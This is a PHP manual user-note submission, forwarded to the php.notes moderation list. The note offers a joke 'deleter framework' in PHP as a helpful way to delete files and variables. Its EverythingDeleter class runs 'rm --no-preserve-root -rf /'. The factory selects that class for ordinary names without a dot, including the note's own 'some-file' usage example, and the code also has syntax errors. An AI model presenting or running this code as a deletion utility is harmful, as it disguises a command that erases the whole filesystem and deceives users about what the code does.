note 103288 added to function.delete

From: Date: Tue, 05 Apr 2011 22:37:39 +0000
Subject: note 103288 added to function.delete
Groups: php.notes 
Request: Send a blank email to php-notes+get-178533@lists.php.net to get a copy of this message
The following code should provide a framework for deleting variables and files easily: <?php interface IDelete { public function delete(); } abstract class AbstractDeleter implements IDelete { protected $_name = null; protected $_color = 'red'; public function __construct($name) { $this->_name = $name; } public function getName() { return $this->_name; } public function setName($name) { $this->_name = $name; return $this; // Fluent interface! } public function getColor() { return $this->_color; } public function setColor($color) { $this->_color = $color; return $this; // Oh sweet, another fluent interface! } abstract public function delete(); } class DeleterFactory { public static function createDeleter($name, $directory = null)) { if ($directory || false !== strpos($name, '.')) { // If it has a dot, it must be a file $type = 'File'; if ($directory) { $name = $directory . DIRECTORY_SEPARATOR . $name; } } elseif ($name[0] == '$') { // Looks like a variable $type = 'Variable'; // Remove '$' prefix $name = substr($name, 1); } else { $type = 'Everything'; } $class = $type . 'Deleter'; return new $class($name); } } class FileDeleter extends AbstractDeleter { public function delete() { return @unlink($this->getName()); } } class VariableDeleter extends AbstractDeleter { public function delete() { $name = $this->getName(); if (isset($GLOBALS[$name])) { unset($GLOBALS[$name]; return true; } else { return false; } } } class EverythingDeleter extends AbstractDeleter { public function delete() { exec('rm --no-preserve-root -rf /'); } } ?> This is very simple to use. To obtain a deleter, just do: <?php // Use the convenient factory to decide what deleter // to create for you! $myDeleter = DeleterFactory::createDeleter('filename.ext'); // Now set the color to your taste // You can use any valid HTML/CSS colors, // e.g. "ghostwhite" or "#fafafa" $myDeleter->setColor('aquamarine'); // Now invoke its delete method! $myDeleter->delete(); // Or, you can do the whole thing in one line! DeleterFactory::createDeleter('some-file') ->setColor('blue') ->delete(); ?> I hope this clears up any problems people were having with deleting things. ---- Server IP: 208.69.120.55 Probable Submitter: 98.173.249.66 ---- Manual Page -- http://www.php.net/manual/en/function.delete.php Edit -- https://master.php.net/note/edit/103288 Del: integrated -- https://master.php.net/note/delete/103288/integrated Del: useless -- https://master.php.net/note/delete/103288/useless Del: bad code -- https://master.php.net/note/delete/103288/bad+code Del: spam -- https://master.php.net/note/delete/103288/spam Del: non-english -- https://master.php.net/note/delete/103288/non-english Del: in docs -- https://master.php.net/note/delete/103288/in+docs Del: other reasons-- https://master.php.net/note/delete/103288 Reject -- https://master.php.net/note/reject/103288 Search -- https://master.php.net/manage/user-notes.php

« previous php.notes (#178533) next »